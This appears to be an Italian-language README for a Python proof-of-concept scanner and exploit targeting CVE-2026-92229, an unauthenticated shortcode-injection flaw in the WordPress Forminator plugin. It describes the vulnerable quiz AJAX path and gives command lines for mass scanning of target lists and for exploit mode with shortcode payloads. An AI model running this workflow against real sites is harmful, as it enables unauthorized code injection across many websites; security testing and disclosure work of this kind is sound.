
Scanner PoC ed exploit in Python 3 per CVE-2026-92229, una vulnerabilità di esecuzione arbitraria di shortcode non autenticata nel plugin WordPress Forminator versioni 1.57.2 e precedenti.
Scanner/exploit PoC in Python 3 per CVE-2026-92229 in Forminator (WPMU DEV).
| Plugin | forminator |
| Affected | ≤ 1.57.2 |
| Fixed in | 1.57.3+ |
| CVSS | 9.1 (Critical) |
| Auth | Unauthenticated |
| Vector | POST parameter current_url (quiz AJAX) |
| CWE | CWE-94 (Code Injection) |
| Credit | Kuba (Wordfence) |
Nelle versioni vulnerabili, il parametro current_url fornito dall'utente viene riflesso nell'HTML dei risultati del quiz (ad esempio negli attributi di condivisione social) e il buffer di risposta viene elaborato con do_shortcode() di WordPress. Un attaccante non autenticato può inviare un quiz tramite admin-ajax.php con un current_url malevolo che incorpora shortcode arbitrari.
Azioni AJAX principali:
forminator_submit_form_quizzesforminator_submit_preview_form_quizzes (anteprima; --preview)Corretto in 1.57.3 limitando l'esecuzione degli shortcode ai soli campi di testo previsti anziché all'intero buffer HTML.
pip install -r requirements.txtpip install -r requirements.txt
# Detect plugin, version, public Forminator modules (quiz answers when parseable)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Exploit (auto nonce + quiz answers when possible)
python poc.py -u https://target.example --mode exploit \
--page-url /quiz/ --form-id 42 \
--shortcode "PROBE"
# Preview submit (no stored entry, same code path)
python poc.py -u https://target.example --mode exploit --preview \
--page-url /quiz/ --form-id 42
# Manual quiz answers if HTML parsing fails
python poc.py -u https://target.example --mode exploit \
--form-id 42 --answers "2051:7608,2052:7610"
| Opzione | Descrizione |
|---|---|
-u, --url | URL base di un singolo target |
--list | File con un URL per riga |
--mode | check (predefinito) o exploit |
--page-url | Percorso o URL della pagina contenente il form |
--form-id | ID del modulo Forminator |
--form-type | quizzes, custom-forms o poll |
--answers | Risposte del quiz nel formato question_id:answer_id,... |
--shortcode | Payload shortcode (racchiuso in [caption]…[/caption] all'interno di current_url) |
--preview | Usa l'azione AJAX di anteprima |
--threads, -j | Concorrenza della scansione massiva (predefinito 20) |
--output | Risultati JSONL (predefinito cve_2026_92229_results.jsonl) |
--vuln-list | File di testo per i riscontri del check (predefinito hits.txt) |
--candidates-list | Metadati JSONL per i check sfruttabili (predefinito candidates.jsonl) |
--quiet | Riduce il rumore di avanzamento nelle esecuzioni massive |
| File | Contenuto |
|---|---|
cve_2026_92229_results.jsonl | JSON per target (status, version, modules, …) |
hits.txt | URL base con exploitable_candidate: true |
candidates.jsonl | Dettagli dei riscontri: form_id, page_url, form_type |
status| Status | Significato |
|---|---|
candidate | Versione vulnerabile + quiz con risposte analizzate |
form_no_quiz_answers | Form trovato ma risposte del quiz non analizzate automaticamente |
plugin_no_public_form | Plugin presente, nessun modulo pubblico individuato |
patched | Versione ≥ 1.57.3 (o major più recente) |
no_plugin | Forminator non rilevato |
exploitable_candidate solo quando answers[qid] del quiz può essere analizzato dall'HTML (molti siti usano quiz renderizzati via JS → usare --answers o l'exploit manuale).[caption])..
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Gli elenchi locali per la scansione massiva (ad es. list.txt, esportazioni FOFA, risultati *.jsonl) sono elencati in .gitignore e non devono essere committati.
Solo per test di sicurezza autorizzati. Sei responsabile del rispetto delle leggi applicabili e delle regole del programma.